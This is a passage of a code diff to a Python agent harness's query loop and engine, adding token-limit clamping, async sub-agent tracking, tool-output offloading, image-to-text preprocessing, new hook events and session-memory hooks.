"too many tokens",
"too large for the model",
"maximum context length",
"exceed_context",
"exceeds the available context size",
"available context size",
)
)
def _bounded_completion_tokens(max_tokens: int, context_window_tokens: int | None = None) -> int:
"""Return a conservative per-request output token cap.
Some OpenAI-compatible providers reject very large ``max_tokens`` before
the request reaches model-side context management. Keep oversized user
config from making every turn fail while preserving normal defaults.
"""
limit = MAX_SAFE_COMPLETION_TOKENS
if context_window_tokens is not None and context_window_tokens > 0:
limit = min(limit, int(context_window_tokens))
return max(1, min(int(max_tokens), limit))
def _extract_completion_token_limit(exc: Exception) -> int | None:
"""Parse provider errors such as "supports at most 128000 completion tokens"."""
text = str(exc).lower().replace(",", "")
patterns = (
r"supports at most\s+(\d+)\s+completion tokens",
r"at most\s+(\d+)\s+completion tokens",
r"max(?:imum)?(?:_completion)?[_\s-]tokens.*?(?:<=|less than or equal to|at most)\s+(\d+)",
)
for pattern in patterns:
match = re.search(pattern, text)
if match:
try:
return max(1, int(match.group(1)))
except ValueError:
return None
return None
def _is_completion_token_limit_error(exc: Exception) -> bool:
text = str(exc).lower()
return (
("max_tokens" in text or "max_completion_tokens" in text)
and ("too large" in text or "at most" in text or "completion tokens" in text)
)
class MaxTurnsExceeded(RuntimeError):
"""Raised when the agent exceeds the configured max_turns for one user prompt."""
@@ -86,6 +145,9 @@ class QueryContext:
model: str
system_prompt: str
max_tokens: int
effort: str | None = None
context_window_tokens: int | None = None
auto_compact_threshold_tokens: int | None = None
permission_prompt: PermissionPrompt | None = None
ask_user_prompt: AskUserPrompt | None = None
max_turns: int | None = 200
@@ -261,6 +323,55 @@ def _remember_async_agent_activity(
del bucket[:-MAX_TRACKED_ASYNC_AGENT_EVENTS]
def _parse_spawned_agent_identity(
output: str,
metadata: dict[str, object] | None = None,
) -> tuple[str, str] | None:
if isinstance(metadata, dict):
agent_id = str(metadata.get("agent_id") or "").strip()
task_id = str(metadata.get("task_id") or "").strip()
if agent_id and task_id:
return agent_id, task_id
match = re.search(r"Spawned agent (.+?) \(task_id=(\S+?)(?:[,)]|$)", output.strip())
if match is None:
return None
return match.group(1).strip(), match.group(2).strip()
def _remember_async_agent_task(
tool_metadata: dict[str, object] | None,
*,
tool_name: str,
tool_input: dict[str, object],
output: str,
result_metadata: dict[str, object] | None = None,
) -> None:
if tool_name != "agent":
return
identity = _parse_spawned_agent_identity(output, result_metadata)
if identity is None:
return
agent_id, task_id = identity
bucket = _tool_metadata_bucket(tool_metadata, "async_agent_tasks")
description = str(tool_input.get("description") or tool_input.get("prompt") or "").strip()
entry = {
"agent_id": agent_id,
"task_id": task_id,
"description": description[:240],
"status": "spawned",
"notification_sent": False,
"spawned_at": time.time(),
}
bucket[:] = [
existing
for existing in bucket
if not isinstance(existing, dict) or str(existing.get("task_id") or "") != task_id
]
bucket.append(entry)
if len(bucket) > MAX_TRACKED_ASYNC_AGENT_TASKS:
del bucket[:-MAX_TRACKED_ASYNC_AGENT_TASKS]
def _remember_work_log(
tool_metadata: dict[str, object] | None,
*,
@@ -287,6 +398,7 @@ def _record_tool_carryover(
tool_name: str,
tool_input: dict[str, object],
tool_output: str,
tool_result_metadata: dict[str, object] | None,
is_error: bool,
resolved_file_path: str | None,
) -> None:
@@ -324,6 +436,13 @@ def _record_tool_carryover(
tool_input=tool_input,
output=tool_output,
)
_remember_async_agent_task(
context.tool_metadata,
tool_name=tool_name,
tool_input=tool_input,
output=tool_output,
result_metadata=tool_result_metadata,
)
description = str(tool_input.get("description") or tool_input.get("prompt") or tool_name).strip()
_remember_verified_work(
context.tool_metadata,
@@ -391,6 +510,126 @@ def _record_tool_carryover(
_remember_work_log(context.tool_metadata, entry="Exited plan mode")
def _tool_artifact_dir() -> Path:
artifact_dir = get_data_dir() / "tool_artifacts"
artifact_dir.mkdir(parents=True, exist_ok=True)
return artifact_dir
def _safe_tool_artifact_name(tool_name: str) -> str:
normalized = re.sub(r"[^A-Za-z0-9_.-]+", "_", tool_name.strip())
return (normalized or "tool")[:80]
def _offload_tool_output_if_needed(
*,
tool_name: str,
tool_use_id: str,
output: str,
) -> tuple[str, Path | None]:
inline_limit = tool_output_inline_chars()
if len(output) <= inline_limit:
return output, None
artifact_path = (
_tool_artifact_dir()
/ f"{time.strftime('%Y%m%d-%H%M%S')}-{_safe_tool_artifact_name(tool_name)}-{uuid4().hex[:12]}.txt"
)
artifact_path.write_text(output, encoding="utf-8", errors="replace")
preview = output[:tool_output_preview_chars()]
omitted = max(0, len(output) - len(preview))
inline = (
"[Tool output truncated]\n"
f"Tool: {tool_name}\n"
f"Tool use id: {tool_use_id}\n"
f"Original size: {len(output)} chars\n"
f"Full output saved to: {artifact_path}\n"
f"Inline preview: first {len(preview)} chars"
)
if omitted:
inline += f" ({omitted} chars omitted)"
if preview:
inline += f"\n\nPreview:\n{preview}"
return inline, artifact_path
# ---------------------------------------------------------------------------
# Image preprocessing — convert ImageBlocks to text for non-multimodal models
# ---------------------------------------------------------------------------
_IMAGE_PREPROCESS_STATUS = "Converting image to text description via vision model…"
async def _preprocess_images_in_messages(
messages: list[ConversationMessage],
context: QueryContext,
) -> AsyncIterator[StreamEvent]:
"""Scan messages for ImageBlocks and convert them to text if the active
model does not support multimodal input.
Yields status events during conversion so the UI stays responsive.
"""
if is_model_multimodal(context.model):
return
vision_config = context.tool_metadata.get("vision_model_config")
if not vision_config:
# No vision model configured — skip preprocessing.
return
# Collect all ImageBlocks with their parent message index and block index
pending: list[tuple[int, int, ImageBlock]] = []
for msg_idx, msg in enumerate(messages):
if msg.role != "user":
continue
for blk_idx, block in enumerate(msg.content):
if isinstance(block, ImageBlock):
pending.append((msg_idx, blk_idx, block))
if not pending:
return
yield StatusEvent(message=_IMAGE_PREPROCESS_STATUS)
# Process images in parallel
async def _describe(msg_idx: int, blk_idx: int, block: ImageBlock) -> tuple[int, int, str]:
tool = context.tool_registry.get("image_to_text")
if tool is None:
return msg_idx, blk_idx, "[Image: could not describe — image_to_text tool not available]"
# Build tool input
tool_input_data: dict[str, object] = {
"image_data": block.data,
"media_type": block.media_type,
"prompt": "Describe this image in detail, including any text, "
"UI elements, code, diagrams, or visual information present.",
}
try:
parsed = tool.input_model.model_validate(tool_input_data)
except Exception:
return msg_idx, blk_idx, "[Image: could not parse image data]"
exec_context = ToolExecutionContext(
cwd=context.cwd,
metadata={
"vision_model_config": vision_config,
**(context.tool_metadata or {}),
},
)
result = await tool.execute(parsed, exec_context)
if result.is_error:
return msg_idx, blk_idx, f"[Image description failed: {result.output}]"
return msg_idx, blk_idx, result.output
results = await asyncio.gather(*[_describe(mi, bi, blk) for mi, bi, blk in pending])
# Replace ImageBlocks with TextBlocks in-place
for msg_idx, blk_idx, description in results:
msg = messages[msg_idx]
msg.content[blk_idx] = TextBlock(text=description)
async def run_query(
context: QueryContext,
messages: list[ConversationMessage],
@@ -411,6 +650,11 @@ async def run_query(
compact_state = AutoCompactState()
reactive_compact_attempted = False
last_compaction_result: tuple[list[ConversationMessage], bool] = (messages, False)
effective_max_tokens = _bounded_completion_tokens(
context.max_tokens,
context.context_window_tokens,
)
reported_token_clamp = False
async def _stream_compaction(
*,
@@ -435,6 +679,8 @@ async def run_query(
trigger=trigger,
hook_executor=context.hook_executor,
carryover_metadata=context.tool_metadata,
context_window_tokens=context.context_window_tokens,
auto_compact_threshold_tokens=context.auto_compact_threshold_tokens,
)
)
while True:
@@ -453,12 +699,28 @@ async def run_query(
turn_count = 0
while context.max_turns is None or turn_count < context.max_turns:
turn_count += 1
if effective_max_tokens != context.max_tokens and not reported_token_clamp:
reported_token_clamp = True
yield StatusEvent(
message=(
"Requested max_tokens="
f"{context.max_tokens} exceeds the safe per-request output cap; "
f"using {effective_max_tokens}."
)
), None
# --- auto-compact check before calling the model ---------------
async for event, usage in _stream_compaction(trigger="auto"):
yield event, usage
messages, was_compacted = last_compaction_result
compacted_messages, was_compacted = last_compaction_result
if compacted_messages is not messages:
messages[:] = compacted_messages
# ---------------------------------------------------------------
# --- image preprocessing: convert ImageBlocks to text for non-vision models ---
async for event in _preprocess_images_in_messages(messages, context):
yield event, None
# -----------------------------------------------------------------------------
final_message: ConversationMessage | None = None
usage = UsageSnapshot()
@@ -468,8 +730,9 @@ async def run_query(
model=context.model,
messages=messages,
system_prompt=context.system_prompt,
max_tokens=context.max_tokens,
max_tokens=effective_max_tokens,
tools=context.tool_registry.to_api_schema(),
effort=context.effort,
)
):
if isinstance(event, ApiTextDeltaEvent):
@@ -489,12 +752,27 @@ async def run_query(
usage = event.usage
except Exception as exc:
error_msg = str(exc)
if _is_completion_token_limit_error(exc):
supported_limit = _extract_completion_token_limit(exc)
if supported_limit is not None and effective_max_tokens > supported_limit:
previous_max_tokens = effective_max_tokens
effective_max_tokens = supported_limit
yield StatusEvent(
message=(
f"Model rejected max_tokens={previous_max_tokens}; "
f"retrying with provider limit {effective_max_tokens}."
)
), None
turn_count = max(0, turn_count - 1)
continue
if not reactive_compact_attempted and _is_prompt_too_long_error(exc):
reactive_compact_attempted = True
yield StatusEvent(message=REACTIVE_COMPACT_STATUS_MESSAGE), None
async for event, usage in _stream_compaction(trigger="reactive", force=True):
yield event, usage
messages, was_compacted = last_compaction_result
compacted_messages, was_compacted = last_compaction_result
if compacted_messages is not messages:
messages[:] = compacted_messages
if was_compacted:
continue
if "connect" in error_msg.lower() or "timeout" in error_msg.lower() or "network" in error_msg.lower():
@@ -511,6 +789,16 @@ async def run_query(
if messages and messages[-1].role == "user" and messages[-1].text.startswith("# Coordinator User Context"):
coordinator_context_message = messages.pop()
if final_message.role == "assistant" and final_message.is_effectively_empty():
log.warning("dropping empty assistant message from provider response")
yield ErrorEvent(
message=(
"Model returned an empty assistant message. "
"The turn was ignored to keep the session healthy."
)
), usage
return
messages.append(final_message)
yield AssistantTurnComplete(message=final_message, usage=usage), usage
@@ -518,6 +806,14 @@ async def run_query(
messages.append(coordinator_context_message)
if not final_message.tool_uses:
if context.hook_executor is not None:
await context.hook_executor.execute(
HookEvent.STOP,
{
"event": HookEvent.STOP.value,
"stop_reason": "tool_uses_empty",
},
)
return
tool_calls = final_message.tool_uses
@@ -526,11 +822,20 @@ async def run_query(
# Single tool: sequential (stream events immediately)
tc = tool_calls[0]
yield ToolExecutionStarted(tool_name=tc.name, tool_input=tc.input), None
result = await _execute_tool_call(context, tc.name, tc.id, tc.input)
try:
result = await _execute_tool_call(context, tc.name, tc.id, tc.input)
except Exception as exc:
log.exception("tool execution raised: name=%s id=%s", tc.name, tc.id)
result = ToolResultBlock(
tool_use_id=tc.id,
content=f"Tool {tc.name} failed: {type(exc).__name__}: {exc}",
is_error=True,
)
yield ToolExecutionCompleted(
tool_name=tc.name,
output=result.content,
is_error=result.is_error,
metadata=result.result_metadata,
), None
tool_results = [result]
else:
@@ -541,14 +846,35 @@ async def run_query(
async def _run(tc):
return await _execute_tool_call(context, tc.name, tc.id, tc.input)
results = await asyncio.gather(*[_run(tc) for tc in tool_calls])
tool_results = list(results)
# Use return_exceptions=True so a single failing tool does not abandon
# its siblings as cancelled coroutines and leave the conversation with
# un-replied tool_use blocks (Anthropic's API rejects the next request
# on the session if any tool_use is missing a matching tool_result).
raw_results = await asyncio.gather(
*[_run(tc) for tc in tool_calls], return_exceptions=True
)
tool_results = []
for tc, result in zip(tool_calls, raw_results):
if isinstance(result, BaseException):
log.exception(
"tool execution raised: name=%s id=%s",
tc.name,
tc.id,
exc_info=result,
)
result = ToolResultBlock(
tool_use_id=tc.id,
content=f"Tool {tc.name} failed: {type(result).__name__}: {result}",
is_error=True,
)
tool_results.append(result)
for tc, result in zip(tool_calls, tool_results):
yield ToolExecutionCompleted(
tool_name=tc.name,
output=result.content,
is_error=result.is_error,
metadata=result.result_metadata,
), None
messages.append(ConversationMessage(role="user", content=tool_results))
@@ -598,7 +924,8 @@ async def _execute_tool_call(
)
# Normalize common tool inputs before permission checks so path rules apply
# consistently across built-in tools that use either `file_path` or `path`.
# consistently across built-in tools that use `file_path`, `path`, or
# directory-scoped roots such as `glob`/`grep`.
_file_path = _resolve_permission_file_path(context.cwd, tool_input, parsed_input)
_command = _extract_permission_command(tool_input, parsed_input)
log.debug("permission check: %s read_only=%s path=%s cmd=%s",
@@ -612,12 +939,22 @@ async def _execute_tool_call(
if not decision.allowed:
if decision.requires_confirmation and context.permission_prompt is not None:
log.debug("permission prompt for %s: %s", tool_name, decision.reason)
if context.hook_executor is not None:
await context.hook_executor.execute(
HookEvent.NOTIFICATION,
{
"event": HookEvent.NOTIFICATION.value,
"notification_type": "permission_prompt",
"tool_name": tool_name,
"reason": decision.reason,
},
)
confirmed = await context.permission_prompt(tool_name, decision.reason)
if not confirmed:
log.debug("permission denied by user for %s", tool_name)
return ToolResultBlock(
tool_use_id=tool_use_id,
content=f"Permission denied for {tool_name}",
content=decision.reason or f"Permission denied for {tool_name}",
is_error=True,
)
else:
@@ -639,21 +976,31 @@ async def _execute_tool_call(
"ask_user_prompt": context.ask_user_prompt,
**(context.tool_metadata or {}),
},
hook_executor=context.hook_executor,
),
)
elapsed = time.monotonic() - t0
log.debug("executed %s in %.2fs err=%s output_len=%d",
tool_name, elapsed, result.is_error, len(result.output or ""))
inline_output, artifact_path = _offload_tool_output_if_needed(
tool_name=tool_name,
tool_use_id=tool_use_id,
output=result.output,
)
if artifact_path is not None:
_remember_active_artifact(context.tool_metadata, str(artifact_path))
tool_result = ToolResultBlock(
tool_use_id=tool_use_id,
content=result.output,
content=inline_output,
is_error=result.is_error,
result_metadata=dict(result.metadata or {}),
)
_record_tool_carryover(
context,
tool_name=tool_name,
tool_input=tool_input,
tool_output=tool_result.content,
tool_result_metadata=result.metadata,
is_error=tool_result.is_error,
resolved_file_path=_file_path,
)
@@ -676,7 +1023,7 @@ def _resolve_permission_file_path(
raw_input: dict[str, object],
parsed_input: object,
) -> str | None:
for key in ("file_path", "path"):
for key in ("file_path", "path", "root"):
value = raw_input.get(key)
if isinstance(value, str) and value.strip():
path = Path(value).expanduser()
@@ -684,7 +1031,7 @@ def _resolve_permission_file_path(
path = cwd / path
return str(path.resolve())
for attr in ("file_path", "path"):
for attr in ("file_path", "path", "root"):
value = getattr(parsed_input, attr, None)
if isinstance(value, str) and value.strip():
path = Path(value).expanduser()
+118 -9
View File
@@ -8,11 +8,13 @@ from typing import AsyncIterator
from openharness.api.client import SupportsStreamingMessages
from openharness.engine.cost_tracker import CostTracker
from openharness.coordinator.coordinator_mode import get_coordinator_user_context
from openharness.engine.messages import ConversationMessage, TextBlock, ToolResultBlock
from openharness.engine.messages import ConversationMessage, TextBlock, ToolResultBlock, sanitize_conversation_messages
from openharness.engine.query import AskUserPrompt, PermissionPrompt, QueryContext, remember_user_goal, run_query
from openharness.engine.stream_events import AssistantTurnComplete, StreamEvent
from openharness.hooks import HookExecutor
from openharness.config.settings import Settings
from openharness.hooks import HookEvent, HookExecutor
from openharness.permissions.checker import PermissionChecker
from openharness.services.autodream.service import schedule_auto_dream
from openharness.tools.base import ToolRegistry
@@ -29,11 +31,14 @@ class QueryEngine:
model: str,
system_prompt: str,
max_tokens: int = 4096,
context_window_tokens: int | None = None,
auto_compact_threshold_tokens: int | None = None,
max_turns: int | None = 8,
permission_prompt: PermissionPrompt | None = None,
ask_user_prompt: AskUserPrompt | None = None,
hook_executor: HookExecutor | None = None,
tool_metadata: dict[str, object] | None = None,
settings: Settings | None = None,
) -> None:
self._api_client = api_client
self._tool_registry = tool_registry
@@ -42,11 +47,15 @@ class QueryEngine:
self._model = model
self._system_prompt = system_prompt
self._max_tokens = max_tokens
self._effort = settings.effort if settings is not None else None
self._context_window_tokens = context_window_tokens
self._auto_compact_threshold_tokens = auto_compact_threshold_tokens
self._max_turns = max_turns
self._permission_prompt = permission_prompt
self._ask_user_prompt = ask_user_prompt
self._hook_executor = hook_executor
self._tool_metadata = tool_metadata or {}
self._settings = settings
self._messages: list[ConversationMessage] = []
self._cost_tracker = CostTracker()
@@ -98,6 +107,10 @@ class QueryEngine:
"""Update the active model for future turns."""
self._model = model
def set_effort(self, effort: str | None) -> None:
"""Update the active reasoning effort for future turns."""
self._effort = effort
def set_api_client(self, api_client: SupportsStreamingMessages) -> None:
"""Update the active API client for future turns."""
self._api_client = api_client
@@ -125,6 +138,77 @@ class QueryEngine:
"""Replace the in-memory conversation history."""
self._messages = list(messages)
def _schedule_auto_dream(self) -> None:
"""Fire-and-forget background memory consolidation after a user turn."""
if self._settings is None:
return
context = self._tool_metadata.get("autodream_context")
kwargs = dict(context) if isinstance(context, dict) else {}
schedule_auto_dream(
cwd=self._cwd,
settings=self._settings,
model=self._model,
current_session_id=str(self._tool_metadata.get("session_id") or ""),
**kwargs,
)
def _prepare_session_memory(self) -> None:
"""Expose file-backed session memory to compaction when enabled."""
if self._settings is None or not self._settings.memory.session_memory_enabled:
return
if not self._settings.memory.enabled:
return
from openharness.services.session_memory import prepare_session_memory_metadata
prepare_session_memory_metadata(
self._cwd,
self._tool_metadata,
session_id=str(self._tool_metadata.get("session_id") or "default"),
)
async def _update_session_memory(self) -> None:
"""Persist a session checkpoint after a user turn."""
if self._settings is None or not self._settings.memory.session_memory_enabled:
return
if not self._settings.memory.enabled:
return
from openharness.services.session_memory import update_session_memory_file
update_session_memory_file(
self._cwd,
list(self._messages),
tool_metadata=self._tool_metadata,
session_id=str(self._tool_metadata.get("session_id") or "default"),
)
async def _extract_durable_memories(self) -> None:
"""Run the optional durable memory extraction pass."""
if self._settings is None or not self._settings.memory.auto_extract_enabled:
return
if not self._settings.memory.enabled:
return
from openharness.services.memory_extract import extract_memories_from_turn
try:
result = await extract_memories_from_turn(
cwd=self._cwd,
api_client=self._api_client,
model=self._model,
messages=list(self._messages),
max_records=self._settings.memory.auto_extract_max_records,
)
except Exception as exc:
self._tool_metadata["memory_extract_last_error"] = str(exc)
return
self._tool_metadata["memory_extract_last"] = {
"skipped": result.skipped,
"reason": result.reason,
"written_paths": [str(path) for path in result.written_paths],
}
def has_pending_continuation(self) -> bool:
"""Return True when the conversation ends with tool results awaiting a follow-up model turn."""
if not self._messages:
@@ -147,9 +231,19 @@ class QueryEngine:
if isinstance(prompt, ConversationMessage)
else ConversationMessage.from_user_text(prompt)
)
if user_message.text.strip():
if user_message.text.strip() and not self._tool_metadata.pop("_suppress_next_user_goal", False):
remember_user_goal(self._tool_metadata, user_message.text)
self._prepare_session_memory()
self._messages = sanitize_conversation_messages(self._messages)
self._messages.append(user_message)
if self._hook_executor is not None:
await self._hook_executor.execute(
HookEvent.USER_PROMPT_SUBMIT,
{
"event": HookEvent.USER_PROMPT_SUBMIT.value,
"prompt": user_message.text,
},
)
context = QueryContext(
api_client=self._api_client,
tool_registry=self._tool_registry,
@@ -158,6 +252,9 @@ class QueryEngine:
model=self._model,
system_prompt=self._system_prompt,
max_tokens=self._max_tokens,
effort=self._effort,
context_window_tokens=self._context_window_tokens,
auto_compact_threshold_tokens=self._auto_compact_threshold_tokens,
max_turns=self._max_turns,
permission_prompt=self._permission_prompt,
ask_user_prompt=self._ask_user_prompt,
@@ -168,15 +265,22 @@ class QueryEngine:
coordinator_context = self._build_coordinator_context_message()
if coordinator_context is not None:
query_messages.append(coordinator_context)
async for event, usage in run_query(context, query_messages):
if isinstance(event, AssistantTurnComplete):
self._messages = list(query_messages)
if usage is not None:
self._cost_tracker.add(usage)
yield event
try:
async for event, usage in run_query(context, query_messages):
if isinstance(event, AssistantTurnComplete):
self._messages = list(query_messages)
if usage is not None:
self._cost_tracker.add(usage)
yield event
finally:
await self._update_session_memory()
await self._extract_durable_memories()
self._schedule_auto_dream()
async def continue_pending(self, *, max_turns: int | None = None) -> AsyncIterator[StreamEvent]:
"""Continue an interrupted tool loop without appending a new user message."""
self._prepare_session_memory()
self._messages = sanitize_conversation_messages(self._messages)
context = QueryContext(
api_client=self._api_client,
tool_registry=self._tool_registry,
@@ -185,6 +289,9 @@ class QueryEngine:
model=self._model,
system_prompt=self._system_prompt,
max_tokens=self._max_tokens,
effort=self._effort,
context_window_tokens=self._context_window_tokens,
auto_compact_threshold_tokens=self._auto_compact_threshold_tokens,
max_turns=max_turns if max_turns is not None else self._max_turns,
permission_prompt=self._permission_prompt,
ask_user_prompt=self._ask_user_prompt,
@@ -195,3 +302,5 @@ class QueryEngine:
if usage is not None:
self._cost_tracker.add(usage)
yield event
await self._update_session_memory()
await self._extract_durable_memories()
+1
View File
@@ -39,6 +39,7 @@ class ToolExecutionCompleted:
tool_name: str
output: str
is_error: bool = False
metadata: dict[str, Any] | None = None
@dataclass(frozen=True)
+4
View File
@@ -14,3 +14,7 @@ class HookEvent(str, Enum):
POST_COMPACT = "post_compact"
PRE_TOOL_USE = "pre_tool_use"
POST_TOOL_USE = "post_tool_use"
USER_PROMPT_SUBMIT = "user_prompt_submit"
NOTIFICATION = "notification"
STOP = "stop"
SUBAGENT_STOP = "subagent_stop"
+10 -2
View File
@@ -18,8 +18,13 @@ class HookRegistry:
self._hooks[event].append(hook)
def get(self, event: HookEvent) -> list[HookDefinition]:
"""Return hooks registered for an event."""
return list(self._hooks.get(event, []))
"""Return hooks registered for an event, ordered by priority.
Hooks with a higher ``priority`` run first. ``sorted`` is stable, so
hooks sharing the same priority keep their registration order.
"""
hooks = self._hooks.get(event, [])
return sorted(hooks, key=lambda hook: -getattr(hook, "priority", 0))
def summary(self) -> str:
"""Return a human-readable hook summary."""
@@ -33,6 +38,9 @@ class HookRegistry:
matcher = getattr(hook, "matcher", None)
detail = getattr(hook, "command", None) or getattr(hook, "prompt", None) or getattr(hook, "url", None) or ""
suffix = f" matcher={matcher}" if matcher else ""
priority = getattr(hook, "priority", 0)
if priority:
suffix += f" priority={priority}"
lines.append(f" - {hook.type}{suffix}: {detail}")
return "\n".join(lines)

Some files were not shown because too many files have changed in this diff Show More